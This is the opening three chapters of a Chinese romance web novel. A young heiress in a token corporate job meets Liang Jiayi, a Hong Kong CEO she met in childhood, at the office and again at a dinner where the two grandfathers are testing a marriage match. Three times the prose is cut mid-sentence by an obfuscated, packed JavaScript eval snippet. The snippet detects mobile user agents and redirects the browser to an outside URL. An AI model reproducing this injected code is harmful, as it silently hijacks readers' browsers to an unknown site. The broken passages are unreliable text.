《不虚此婚》 1. Chapter 1 初秋，深城。 江盛集团总部大楼一层，与楼上各部门忙碌的景象不同。 临近午休时间，又是周五，后勤部一小片办公区坐着几个中老年员工，在工位上喝茶聊天等待下班。 旁边一间贴有“后勤部-副主管”崭新门牌的办公室内，正午的阳光从窗外透进来，照在办公桌上，有些刺眼。 江伊嘉穿着黑色的衬衫裙，微眯眼，掀了盖在腿长的毯子，踩着细高跟鞋走去窗边，将百叶窗降下来。 回到办公桌后，她百无聊赖地靠回椅子上，打开办公系统在代办流程里勾选了几个“通过”，算是结束了一周的工作。 门外传来三下叩门声。 “江主管，午餐现在给您送进来？” 江伊嘉随意地应了声“好”。 不出所料，餐盒里还是那几样色香味一样不占的菜，带着一股食堂味，几乎是昨天那几样菜的重新排列组合。 江伊嘉扫了一眼，面无表情地拿起筷子。 距离她毕业回国已经三个月，她学的是平面设计专业，坐在这个莫名其妙的后勤部副主管位置上也有三个月了。 这都是那位江盛集团的创始人，也就是她的亲爷爷的安排。 外面办公区的中老年员工们同样觉得这位年轻副主管的空降很没道理。 他们后勤部坐办公室的总共不到十个人，几十年了也没副主管这一岗位，三个月前突然添设。 见到副主管本尊后，就懂的都懂了。 ——年纪轻轻、肤白貌美、气质脱俗，跟他们董事长、总裁一样姓江，漂亮衣服每天不重样，背的包包随便一只就顶他们一年薪水。 原来是专人专设的萝卜岗，江伊嘉脑门上几乎就刻着“关系户”三个字。 但安排在他们后勤部，应该是江家哪个八竿子打不着的亲戚。 …… 此时，旁边办公室内。 江伊嘉在网站划了半天没找到个能下饭的视频，正打算换个平台继续找，微信电话的铃声响起。 她的多年好友吴思婕打来的。 江伊嘉迅速接起。 吴思婕：“伊嘉，我们工作室办公区的设计图你弄好了吗。其他区域都装修好了，办公区再不装就来不及了。” 早在国外时，江伊嘉就同两个关系最好的朋友商量好，毕业后要一起创业开设计工作室。 三人家里条件都不差，前期不缺资金。 她两个朋友是国外念书期间认识的，都是港岛人，工作室的注册和办公地点也定在港岛。 但还没等工作室正式成立，江伊嘉这边就遇到了严重阻碍。 ——她家老爷子不同意。 有几年前家里两个败家表哥创业半年亏八位数的前车之鉴，江老爷子现在谈“创业”色变，几乎是听到这两个字的瞬间，就把她的计划给否了。 而且态度很坚决。 好在江伊嘉自己有些积蓄，合伙的两个小姐妹家里都很愿意出钱，工作室的场地顺利租好，已经在装修。 所以目前最大的问题其实是，她人过不去…… “就差最后一点收尾，下午就能发你。” 江伊嘉叹声道：“你是不知道，我现在闲得都快长草了。今天一整个上午，我全部的工作就是在电脑上点两个通过键。唉，就不说今天上午了，一整周的工作量，基本三个小时就能干完。” 她爷爷在反对她自己开工作室的时候还说：你以为创业是小孩子过家家？ 但她看来，在这集团的后勤部做空降副主管才是小孩子过家家，让她上小学的表弟表妹过来都完全能胜任。 一通吐槽后，她的好姐妹吴思婕那边很不平衡：“你闲得要长草了，我这忙得鞋子都快磨成草鞋了。茶茶也指望不上，这两天我银行、注册处、税务三头跑，累得我…欸，不说这些，装修队又发信息催我，你赶紧把设计图弄完发我。” 江伊嘉：“保证下午发你，还有什么远程能干的活全都交给我。” 吴思婕叹气：“不过，你爷爷不会真打算在那什么后勤部一直干到退休吧？你也打算一人打两份工，边干后勤边摸鱼做设计？” “当然不是，我正想办法呢。” 江伊嘉一脸愁容，用筷子戳着餐盒里的土豆块：“我爷爷也就是临时把我往这一放。他正在给我物色联姻对象，估计是打算挑中人了就把我嫁出去。” 吴思婕一下精神了，“那不是挺好？” 江伊嘉皱眉：“哪里好啊？我才二十二，现在的首要任务是跟你们一起，把工作室做大做强走上辉煌。而且，我也没考虑过结婚的事。” 吴思婕：“你之前不是说过，你小时候家里给你订过一个娃娃亲，对象是梁家的。梁家不就在港岛吗？” 江伊嘉挠了挠头，也是经她提醒才想起来有这回事。 不过，严格意义来讲，也不能叫娃娃亲。 其实是小时候江老爷子带着她去港岛，跟梁家的长辈吃过顿饭，席上有个比她大三岁的同辈男孩，名叫梁家逸。 两家长辈那会儿都喝了酒，笑着说他们这俩小孩这名字取的还挺有缘，以后也许能结个亲家。 就这么随口的一句而已。 江伊嘉当成玩笑话跟两个好姐妹提过。 她对那个梁家逸印象也不深。 只记得，是个长得还挺好看的小男孩，安安静静的，斯文有礼貌，年纪不大，用词和语气什么的都挺成熟。 江伊嘉解释完，想了想说：“我估计不会是他。我们家这两年合作的公司不在广府就在沪市，要不就是深城本地的。” “这样啊。你那个娃娃…哦不对，是随口一说，是叫梁家逸对吧？” 吴思婕道：“我也是回来才听我爸妈说起，梁家逸两年前回了港岛，而且是他们万泰新任董事长去英国三顾茅庐请回来的。他回来就在万泰任职CEO，这两年大刀阔斧整顿集团，把一直走下坡路的万泰都盘活了，能力特别强。” 江伊嘉靠在椅子上：“又不是给咱们工作室挑合伙人，工作能力强有什么用。而且，我爷爷估计早都忘了那回事。” 梁家逸的话题到此为止。 挂断电话前，吴思婕说：“今晚你是5点下班对吧？我和茶茶去深城找你，她约了个工作室的潜在客户，七点一块吃个晚饭，具体的见面再说。等到了我们先去上次那家会所做个脸，然后一块过去。” 江伊嘉坐直身子，笑道：“不愧是茶茶。行，那就下班之后我们Landy见。” - 赶在下班时间之前，江伊嘉把画完的设计稿发给吴思婕。 五点一到，她打开办公系统打卡，补了个气垫，拎着小包包神清气爽地走出办公室。 除了值班的大哥和小唐，后勤办公区已经全空了。 老员工们比她还着急下班。 江伊嘉去小唐的工位旁边屈指轻敲了下桌边，“下班吗？” “下班。” 小唐迅速站起身，收拾东西跟她去电梯间。 江盛总部楼下的停车场有规定，二级部门主管及以上职位的员工分配固定车位，其他开车通勤的员工自行找车位。 后勤部分属行政部，江伊嘉这个副主管属于“其他”范畴，按规定没有固定车位。 她堂哥，也就是江盛集团现任总裁，给她开了个后门，在高管和贵宾单独的停车区分给她两个车位，省得她每天跟那么多人挤。 江盛集团员工数量上千，就算有固定车位，每天早上进停车场排队都要挺久。 江伊嘉没什么心理负担地接受了。 美中不足就是专属停车区的高速电梯直通顶层，她每天上下班得先去36楼换部电梯。 今早社招给大批面试者发了停车券，于是小唐没找到车位，快到上班打卡时间，在后勤部小群里求助。 江伊嘉对她印象还不错，就下楼接人，把自己空着的一个车位先借给她停。 正是下班的晚高峰，电梯很慢。 江伊嘉拿起手机看了眼时间，她们三人小群里，吴思婕已经在催。 [我和茶茶到会所了，上次的包间，就等你了~快点哈。] 旁边小唐轻声：“今天谢谢江主管了，以后再看到有面试什么的，我就不开车了。早上差点迟到，多亏你解救。” 说完，小唐抬头看了眼江伊嘉。 皮肤特别好，脸也就巴掌大点，一双桃花眼清澈动人，身上黑色的衬衫裙裁剪精致，很衬身材，衣领上方露出的锁骨清晰分明，高跟鞋上的两条腿又长又直。 比精修图里的女明星还好看，是女生看了都会心动的程度。 小唐多看了几秒，脸都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309928|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点红了。 江伊嘉偏了下头，唇角稍弯，“小事而已，别这么客气。也不用叫我江主管，听着…有点显老。” 小唐不知道她们俩谁大，不好意思地叫了声“伊嘉姐”。 江伊嘉也没继续纠结称呼，目光落在她身上灰扑扑的工装外套上，有点疑惑地问了句：“你现在是后勤办助理岗，还要去修理组或者维护组帮忙吗？” 小唐也看了眼自己的衣服：“没有没有，下午我跟赵哥一块去厂里发放下个季度的工作服了，进厂有着装要求。” “这样。” 电梯终于到了。 上行的人倒是不多，很快就到达36楼。 这一层除了总裁办和董事办，就只有几个会议室和休息室，是江老爷子当年装修的，到处金碧辉煌，还保留那个年代特有的奢华浮夸风。 江伊嘉带着小唐往通地下停车区的电梯走。 路上，看到穿得黑压压的一群人，从另一个方向的小会议室出来，也是要去电梯。 回国三个月，江盛集团高层那些新人老人江伊嘉都见过。 这群人全是生脸，应该是来开会的。 走近些才发现，她堂哥的总助也在，其余好像不是保镖就是助理，簇拥着同一个年轻男人。 男人个子很高，西装革履，宽肩窄腰。 应该也是二十多岁的模样，气质斯文又清贵，戴一副银丝边眼镜，唇边挂着社交场合模式化的笑容，鼻梁高挺，面部轮廓精致利落。 江伊嘉见过的好看男人不少，但总觉得这人有些眼熟，多看了一眼，正好对上他的目光。 出于礼貌，只那一瞬的交汇，她就移开视线。 快到高速电梯的门口，小唐在她耳边小声建议：“要不等他们先下去？” 江伊嘉手机里，小群还在弹消息催她， “不用，我赶时间。” 林总助也带着那群人过来了，微笑着说：“梁总，江总一会儿确实还有场会，不能亲自送您，让我再跟你说声抱歉。” 梁家逸嗓音低沉，神情淡漠疏离：“都是小事，江总太客气。” 门口，江伊嘉跟林总助视线对上，互相颔首算是打招呼。 伴随着“叮”的一声，电梯门开。 有保镖在侧面按着按键。 江伊嘉拉着小唐正要进，被男人身边另一个助理拦了一下。 江伊嘉：“？” 助理视线从小唐的衣服上划过，看向林总助，普通话带着明显的粤港口音：“林总助，这部电梯需要维修吗？” 林总助没反应过来，一本正经地回答：“不需要，这部是高速电梯，除了每天早晚的日常检查和维护，还有技术部门三个月一次的拆检，保证安全。” 说话间，梁家逸已经长腿一迈进电梯了。 那助理看了眼江伊嘉胸前工牌上‘后勤部’三个大字，自以为很尊重地学着内地人叫法，看着她说：“不好意思，江师傅，我们赶时间，电梯稍后再维护吧。” 卷舌音发得很刻意，一点都不标准，像是要把舌头卷抽筋。 江伊嘉眉毛也抽了抽筋，“不是…” 谁是“江师傅”？而且她也赶时间好吗。 她还没说完，电梯门已经从里面关上，以2.5米每秒的速度下去了。 出来开个会，排场这么大就算了，身边助理眼睛也多少有点瞎。 “这人谁啊。” 江伊嘉没好气地嘀咕一句，林总助已经转身去了另一间会议室了，她也没指望有人能回答。 下一秒，小唐还真回答了，怯生生地说：“应该是…万泰的梁总。” 江伊嘉：“什么梁总？” 小唐声音更小了，继续道：“港岛万泰集团的梁总，梁家逸。” “伊嘉姐你是不是没看公司大群，今天下午都在说梁总来江盛跟林总开会，大家都在猜万泰可能以后会跟咱们江盛有合作。” 听到名字，江伊嘉眉梢微抬了下。 哦，就是小时候见过的那个梁家逸啊。 怪不得她眼熟。 多年不见，人长大了，排场也这么大了。 电梯很快就重新上来，江伊嘉想到刚才那张扑克冷脸，内心有些庆幸。 还好当年只是开句玩笑，这人不在他爷爷考虑的联姻对象范围内。 2. Chapter 2 Landy美容会所的贵宾包间。 江伊嘉风尘仆仆地进门，侍者接过她的包仔细搁在柜中。 “来晚了啊伊嘉，晚上跟人约的7点，就剩一小时了。” 茶茶满脸涂着绿油油的海藻泥，躺在美容床上含糊地说。 “路上堵车。那我等你们做就行，不然卸了妆一会儿还得化。” 江伊嘉坐在沙发上，忍不住立刻跟姐妹分享：“背后真不能说人，你们猜我刚在公司碰到谁了？” 中午没有参与通话的茶茶问：“在你家公司能碰到谁？” 吴思婕笑：“该不会说曹操曹操到，碰到你的娃娃亲了吧。” “都说了不是娃娃亲。” 江伊嘉一拍沙发：“不过还真是那个梁家逸！” 跟她两个小姐妹在一起，没话都能聊一整天，更别说现在。 江伊嘉语速很快，把刚才36楼遇到梁家逸的事叙述了一遍，重点落在他那张冰块脸，还有他助理叫的“江师傅”。 她喝了口柠檬茶：“不过也不能怪他助理，我旁边同事正好穿着厂里的工作服，我上班又戴着后勤工牌。但就不能多问一句吗，他时间有多宝贵，一分钟几百万？” 吴思婕和茶茶早就被她学的“江师傅”口音笑喷。 “不是，我脸上还有面膜呢，别逗我。” “他助理当你是修电梯的啊？” “我原来就说过吧，我们俩在港岛，普通话那算是相当标准的。” “还别说，如果是梁家逸，一分钟说不定真值几百万。” “……” 笑得差不多，吴思婕琢磨着问：“你刚说什么，梁家逸可能是去跟你堂哥谈合作的？那你俩这联姻不就有可能了吗，据我所知他也未婚。” “他梦里有可能吧。” 江伊嘉其实不怎么记仇，尤其这种能当玩笑说的乌龙小仇，但这会儿嘴上也不饶人：“跟他联姻，家里电梯都得多装几部，还得担心上电梯前他助理把我赶下去。” 两人又笑。 今晚吴思婕和茶茶过来的重点也不是姐妹聚会，很快就把话题切到稍后要见的准合作伙伴上。 江伊嘉在加州艺术学院读的大学，在国外时没缺过钱，但自从有了创业开工作室的念头，就开始在平台上接单练手。 两年前，她接过一套诗集的封设，新人作者自费出书，一出就是一整套。 作品出版后，因为诗集封面过分好看，反过来带动销量，加上自媒体的推广，那套诗集直接上了国内文学作品销量榜。 后来因为设计平台自身的问题，江伊嘉把账号注销换了家平台接单，也没再跟那位作者有过联系。 茶茶说：“你最开始用的是微信小号，后来嫌麻烦直接用大号加客户了，小号也没登过。那个姐姐说找过你好多次，但你都没回复。” 江伊嘉挠挠头：“当时没想着会有回头客，早知道把小号的人都加到大号了。她现在还在写诗吗，要约书封？” 茶茶笑道：“她说写诗就是大学文青时期的爱好，家里也是做餐饮的，她现在负责一个连锁的中式茶饮店，就是那个米芽，这两年还挺火的。她们公司的设计一直是外包，跟我说要是时间合适的话，明年的广告宣传、饮品包装就全交给我们工作室了，她相信你的品味和审美。” 江伊嘉眼睛一亮。 她属于设计行业的天赋流选手，几乎是看到“米芽”两个字，想起那家茶饮的味道，脑中就有灵感涌现。 茶茶又道：“对了，那个姐姐叫张温雅，人特别好。这次来深城是做调研的，本来今天就要回苏城了，听说你在，特意把行程往后推，还说特别想看到当年给她做封面的设计师本人。” 初秋的深城余热未退，多风，但今天天气很好。 窗外夕阳斜挂在天边，照得包间里也金灿灿的，正如她们的心情。 江伊嘉不禁夸，拿了个靠枕往怀里一抱，也很激动，“别说了，我正在后悔见她之前为什么没有沐浴焚香了。” 吴思婕笑：“这不是叫你来做spa，结果你迟到了，只能干看着，怪谁呢。” 约定的见面地点就在附近的一家法餐厅，江伊嘉估摸着时间，打算好好补个妆。 这时，手机响起。 是家里老爷子江济康打来的，江伊嘉看着来电显示，右眼皮突突跳了两下，生出不好的预感。 她深吸一口气接起来。 江济康：“伊嘉，下班了吧？今晚别在公司吃饭了，我让老陈去接你，跟我一块儿出去吃。” 江伊嘉皱眉，含糊道：“今晚啊…我跟朋友约好了在外面吃的。” 在老爷子眼里，跟朋友约聚餐显然不是什么大事。 江济康不容置喙道：“你们改天再约。今晚你梁爷爷过来，带着梁家逸一块，我都说好了也带上你过去。梁爷爷你记得吧，小时候带你去港岛的时候见过，万泰那个，梁家逸你也见过，那会儿你俩都还小呢，正好也叙叙旧。” “……” 在深城圈子里，江济康是出了名的对小辈管教严，传统又古板。 自己当年就是当兵退伍后创业的，白手起家，说话做事都很强硬。 江伊嘉头顶个“江”姓，又是这辈里唯一既没在念书又没成家的，是江济康的重点管束对象。 “你们定的几点啊？”她苦着脸问。 现在甚至没法跟江济康讲道理。 如果要讲她今晚这局的重要性，就要说到开设计工作室的事，说到创业，江济康就得跟她吹胡子瞪眼睛。 江济康：“七点。” 江伊嘉内心叹气，瓮声瓮气地说：“那把地址告诉我吧，不用陈叔接了，我自己过去。” 挂断电话，茶茶和吴思婕见怪不怪的，都看着她。 “又是爷爷‘金口御旨’传召？” 江伊嘉把手机一扔，心烦道：“以后梁家逸这名字不能提，这人就是衰神，有毒。都多少年没听过的名字了，今天中午一提，一天要见两回。我爷爷让我去跟他和他爷爷吃饭。” 吴思婕：“要吃到几点啊？” 茶茶：“温雅姐应该也能等，她明天才回苏城，而且也没提前跟你约，你有事她应该也能理解。一会儿我再跟她好好解释。” 江伊嘉站起身，妆也懒得好好补了，随手涂了个唇釉。 “跟他们吃饭的地方也离得挺近，一会儿我见机行事吧，找个机会溜。” - 去往餐厅的路上，江伊嘉看着面前川行的车流，在想晚上能找什么借口。 其实江济康管她这么严也有原因。 当年她亲爸在国外出事，江济康一直把责任往自己身上揽，认为一切都是他那两年工作忙，管教不善的结果。 江伊嘉性格跳脱，虽然从小的教养让她在人前大方端庄，但她骨子里带着点叛逆，江济康总想给她纠正过来。 在江济康这种古板还有点封建的老人家眼里，女孩子最好是温温柔柔的，长大后就嫁个门当户对的好人家享福。 江伊嘉理解爷爷会有这种想法，虽然非常不赞同，但也不会去试图反驳更正。 几十年形成并坚持至今的观念，不会因为她三言两语改变。 存在矛盾时，她会先寻找两全的迂回之法，避免影响家庭团结。 实在不行再强硬反抗，像当年不顾江济康反对私自换了专业一样。 一路琢磨着，江伊嘉的车已经开到新鼎轩酒楼门前。 她报了江济康的名字，把钥匙递给迎宾的侍者泊车，被另一侍者引着上了楼。 偌大的包房里，主位的方向坐着两个人。 除了她爷爷，还有另一位白发苍苍的老人，江伊嘉没什么印象，端庄地走过去，笑着叫了声：“梁爷爷好。” 另外一边就是梁家逸，气质斯文矜贵，肤色偏冷白，银丝边眼镜的镜片在灯光下反光，显得整个人更加冷淡疏离。 除这四人之外，包房里再无旁人，很是空旷。 梁穆山站起身，笑得和蔼，用不太标准的普通话说：“是伊嘉吧？是七岁还是八岁的时候见过你，岁月不饶人啊，总觉得还没过多久，这都长这么大了。” 他看向另一边，介绍道：“梁家逸。你们小时候见过，还记得吗。” 江伊嘉转头望向他，心说不光记得，两小时前刚见过呢。 她面上礼貌道：“记得的，不过那会儿我还小，印象不太深了。” 江济康笑说：“家逸刚也说记得你，当时去港岛还带着你堂弟他们几个，他说那一桌小孩里，就你最安静，坐在他旁边连话都不说。” 江伊嘉从小到大就没多少安静的时候，小时候跟他们吃饭那次，是因为他亲爸出车祸刚走，她还没缓过神。 不过这理由不合时宜，她就没解释，点头笑着说“对”。 梁家逸看过来，嗓音低沉，绅士有礼但毫无感情地道了声：“江小姐好。” 看起来完全不记得下午在江盛总部才见过她。 江伊嘉微颔首，跟他差不多的语气：“梁先生好。” 两个老人都笑。 梁穆山：“看这俩孩子，‘先生’‘小姐’的，听着都生疏。又不是公司开会，吃顿便饭而已，别这么正式。伊嘉叫他‘家逸’或者‘阿逸’就行。” “……” 江济康笑：“以前就说他俩这名字取得有缘呢，听着多顺。” 梁穆山：“是啊。伊嘉也是刚毕业回国？” “对，我九月份刚回来。” ‘家逸’‘阿逸’什么的江伊嘉叫不出口，听梁爷爷换了话题，马上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309929|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着把称呼这一茬揭过去。 这种隔着辈的祖孙聚餐，后来全程基本都是两位老人在叙旧，小辈只需要偶尔附和充当捧哏。 江济康和梁穆山也没谈生意，一直在说当年在港岛相识的旧事。 亦或是他们都相识的人，谁在哪年过世了，谁又得了什么病。 虽已入了秋，但深城四季常青，在这样的话题中，包间里也生出几分秋日的萧索之感。 菜吃得差不多，两位老人点了酒，两三杯过后，话更多了。 江伊嘉提醒爷爷少喝些，上个月医生才叮嘱，让他注意肠胃。 江济康笑着摆手：“偶尔一次，这不是老梁难得过来。” “你俩听我们老人家说话也没意思，伊嘉，你带家逸出去转转。刚还说呢，他这两年来深城也都是出差工作，附近商圈都是新建的，家逸平时肯定也没什么时间逛。” “……” 江伊嘉刚还准备劝完少喝酒，就让二老早点回家，或是建议他们换地方去下棋什么的，她也好脱身转场。 梁穆山也说：“家逸去跟伊嘉走走吧，年轻人不像我们老人家，坐不住。” 都说醉翁之意不在酒，二老都让他们出去逛，既是给两人创造机会独处，也是试探。 否则有些话一方长辈说出口，另一方无意，两边都尴尬。 但无论其中深意如何，江伊嘉满脑子想着怎么溜，跟梁家逸并肩走出酒楼。 - 街边人多，赶上周末，不远处又是新建的商场，附近一派热闹繁华的景象。 两人身后不近不远地跟着几个黑衣保镖，气氛与周遭格格不入。 梁家逸应该本身就好静，非必要不开口，走在路上一言不发，像是一尊精致的雕塑。 默了大概两百米，江伊嘉把手机勿扰模式关掉，拿出东道主的大度，主动开口说话。 “不好意思，这边我也不是很熟，不知道有哪里能逛。” 嘴角的微笑代表她的礼貌。 不断震动的手机代表她其实很忙，现在其实没空。 如果某人有点眼力见，应该会问她：江小姐是不是有事要忙？ 但梁家逸只淡声道：“没事。” 然后又是一路沉默。 江伊嘉也悟了。 梁氏在港岛是蝉联几十年的首富，梁家逸含着金汤匙出生，年纪轻轻就掌管了集团，平时在他的社交圈内，大概只有别人看他眼色行事的份。 夜晚的风带着黏腻的潮气，湿乎乎的抚在两人脸上。 江伊嘉闻到他身上淡淡的雪松香味，夹杂着一点檀木香，冷感十足。 两人之间始终隔着半步宽的社交距离。 没等江伊嘉酝酿好情绪说要先行一步，梁家逸的手机先响起。 他礼貌道了声“抱歉”，而后接起。 不知对面讲了些什么，梁家逸眉尖微有不悦，音质偏凉，问：“什么时候的事？” 刚才席间江伊嘉就发现，他普通话讲得很标准，发言咬字清晰。 须臾，梁家逸又道：“通知市场部和公关部开会，今晚前把方案定下来，我这边…” 他顿了下，驻足，看向江伊嘉。 江伊嘉会意，管理好表情，很善解人意般立刻表示：“梁先生工作重要。” 梁家逸回过头，对着电话继续吩咐：“我语音参会。” 等他挂断电话，江伊嘉偏头看她，装作有些惋惜的语气：“那你先忙，工作相关的事我也不便听，就先…” 梁家逸微颔首，淡道：“爷爷和江爷爷那边我去解释，今天不好意思。” …… 这场社交任务到此宣告结束。 江伊嘉踩着细高跟箭步如飞，一边低头在小群里发消息，一边往金鼎轩的停车场走。 室外温度适宜，只是商场附近人太多，四周声音嘈杂。 梁家逸手机上，助理也发来信息，说临时会议五分钟后开始。 他回身往反方向走，寻到一处还算安静的位置，刚站定，会议软件里也有人开始说话。 梁家逸听完一个方案，看到不远处的路上，一辆白色的panamera呼啸而过，音响声音很大，车窗也降到最低。 他微蹙眉，下一秒，看清驾驶位上的人。 江伊嘉单手搭在方向盘上，长发被风吹得在肩后飞扬，脑袋还随着音乐节奏轻轻摇摆。 她嘴角也翘得很高，满脸的欢欣雀跃。 跟刚才饭局上还有同他散步时的样子判若两人。 差别实在太大。 梁家逸收回视线，轻哂一声。 电话里，公关部总监的汇报也停顿了下，语气紧张地问：“梁总？” 梁家逸还是无波无澜的声线，平淡道：“我在听，继续。” 3. Chapter 3 江伊嘉正赶着和两个小姐妹汇合，完全没注意到刚才路边有什么人。 她估测梁家逸回新鼎轩或是在商圈附近徘徊的路线，还特意绕了条远路走。 今晚这饭局之后，她对梁家逸的印象跟小时候差不太多。 这人除了长高了些，气质更成熟了些，其实还是那样。 长得是很好看，五官和轮廓近看之下更精致，但性格还是太闷太冷。 刚才饭局上二老偶尔抛出个话题，全靠她接话活跃气氛，梁家逸静静坐在那，跟个冰雕似的。 江伊嘉去之前还以为她堂哥也在，到了才发现，除了二老就他们两个人。 弄不好，还真被吴思婕那乌鸦嘴给说中了。 江济康要把梁家逸纳入考虑范围内。 但凡事都有轻重缓急，江伊嘉这会儿没心思考虑别的，满心都是一会儿要见的潜在客户。 - 那边晚餐已经结束，吴思婕两人带着张温雅去了一处隐私性挺高的清吧。 一楼有现场演奏的爵士乐，二楼包间门隔音不错，门一关，基本隔绝了楼下的背景音和吵闹声。 江伊嘉到的时候，张温雅起身，看着她惊喜道：“刚就听说是个大美女，没想到这么惊艳。” 江伊嘉也笑：“您这见面就先夸我，今晚我可能要飘在屋顶上跟您说话了，像哈利波特里被施了魔法的姨妈一样。” 茶茶：“还真有可能的，忘了跟温雅姐说，伊嘉她一点都不禁夸。” 两人握了手，张温雅热情地把她拉到旁边坐。 江伊嘉抱歉地解释：“实在对不起，今晚家里临时找我，让您多等了这么久。” 张温雅：“不能怪你，我这也是临时才联系。我表妹的朋友正好认识茶茶，两个人聊起来我才知道我当年那套书封是你做的，要是没这个契机，我还不知道什么时候能找到人。” 在社交场合，江伊嘉也算是如鱼得水。 家境使然，从小家里人就没少带她出门交际，她本身朋友也多，不论是跟长辈一起，还是跟同龄人一起，都能应对自如。 今晚这聚会，四个人都是女孩儿，年龄相差也不多，除了谈工作室和设计相关的事，闲聊的内容更多。 一个多小时过后，还聊出些相见恨晚的感觉。 张温雅：“可惜我家在苏城，离港岛和深城都太远，平时工作的事也忙，抽不开身，不然真想多跟你们聚聚。” 时间差不多了，她明早还要赶飞机。 江伊嘉笑说：“离得多远都没事，网络姻缘一线牵，现在隔着网线什么都能干，咱们也随时能联系。” “对，对。” 张温雅起身笑：“那我们暖冬系列的宣传图就拜托你了。当时立秋的时候，我们找的广告公司就做得中规中矩，利润也没达到预期，现在饮品市场竞争越来越激烈，我现在就盼着第四季度能打个翻身仗。” 江伊嘉正色了些说：“我尽力，等您回去发我具体的需求。” 把张温雅送下楼，三人又回了包间。 先聊了会儿刚才的饮品广告，又谈了谈她们工作室装修完后的员工招聘问题。 正事都说得差不多，茶茶往沙发上一靠，双手合十：“咱们工作室一定要顺顺利利啊，正式开业一定得找大师算个良辰吉日。要是开垮了，我爸妈可能也要把我打包送去相亲结婚。” 吴思婕：“别说‘垮’这个字，不吉利。现在开局还算挺顺利，我家也帮我介绍了几笔订单，最大的问题就是——” 她看向江伊嘉。 “……” “我可以先远程干活。” 江伊嘉有些无奈道：“但肯定不是长久之计。” 茶茶凑过去，“伊嘉，你今晚不是跟那个娃娃亲他们家吃饭吗？” 吴思婕也问：“是啊，吃得怎么样，那个梁家逸怎么样？你爷爷专门叫你和他们吃饭，是不是有那个意思？” 江伊嘉想了想：“还真不一定。” “我回国这三个月，他带我跟云途的魏爷爷家、胜景的陆爷爷家、时达的周爷爷家…总之还有好多人吃过饭。” 但那都是两大家子人一起，单身的、已婚的甚至未成年的都有。 今天这种只有四个人的小聚会，这三个月以来倒确实是头一回。 茶茶露出八卦的笑容，压低声音：“那你有没有中意的未婚男青年啊？” 话题逐渐被带跑偏。 江伊嘉很果断地摇头：“没有。” “…也没见过几面，也不至于一见钟情，哪有中不中意的。” 茶茶叹声道：“也是，我妈也跟我说过，要真是联姻，双方别说看对眼了，互相不嫌弃就算是好的。” 时针划过十一点，江伊嘉的手机毫无意外地响起。 江济康的电话，催她赶紧回家。 吴思婕和茶茶笑着站起身，“那今天到这吧，伊嘉小公主的门禁时间到，我们改天再聚。” “……” - 与此同时，深城南郊的别墅区。 梁家逸进门，佣人接过他肘间挂着的西装外套。 客厅里，梁穆山正开着电视看晚间新闻。 此来深城，梁家逸主要目的是跟江盛谈合作，往后两天都有行程，要和江敬宇一起去江盛的工厂考察。 江盛是做建材的，万泰则是地产起家，江盛在他们产业链的上游。 现在无论是地产行业，还是港岛经济情势，都不比从前，他上任之前，万泰置地几个楼盘和酒店甚至都在亏损。 万泰势必要在内地扩张市场，而原先的上下游合作企业多少都存在问题，需要循序渐进调整更换。 梁家逸出差时更习惯住酒店，这次梁穆远也一同过来，才入住这套空置已久的别墅。 虽然久无人居，但一直有管家和佣人打扫，各处都干净整洁。 十一点，已经过了他日常的休息时间，梁家逸松了松领带，往楼梯方向走。 梁穆山叫住他：“阿逸。” 梁家逸闻声回头。 梁穆山道：“集团的事再忙，工作也不是全部。今晚本来是跟老江他们叙叙旧，让伊嘉跟你也认识一下，你又去忙工作。不过，明后两天也在深城，晚上有空你就约伊嘉去哪吃个饭，给人家赔个不是。” 梁家逸脑中浮现出江伊嘉开车离开时如释重负的雀跃表情，平声道：“没必要。” 梁穆山摇头：“你啊，简直跟你爸妈性子一模一样，干什么都不冷不热的。” “我看伊嘉那孩子性格就很好，又开朗又爱笑，还会说话。” 梁家逸扯了扯唇，不动声色地绕开话题：“我也会说话，好像是一两岁学会的。” “……” 梁穆山盯他一眼，不买账：“我是那意思吗？跟你说正经的，你觉得伊嘉怎么样？” 梁家逸淡笑着反问：“什么怎么样？” 梁穆山叹气：“我什么意思你心里清楚。” “你今年也不小了，是该早点成家把婚事定下来。家里的情况你知道，你爸妈不管这些事，自从你回国接管集团，你伯公也想给你安排婚事。让他去找，还不如我们先定下来，不管是对万泰，还是对你自己都好。” 梁家人丁兴旺，关系也错综复杂，亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309930|167243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情夹杂着三代人的利益纠葛，还有港岛各家之间的关系。 其中利害，梁穆山点到为止，也不用多说。 梁家逸当然清楚，轻“嗯”了声，只道：“您安排就好。” 根之前他决定回国接管集团的原因一样，不论是万泰，还是婚姻，亦或是金玉其表的梁家，都是他责任范围内的一部分，无关其他。 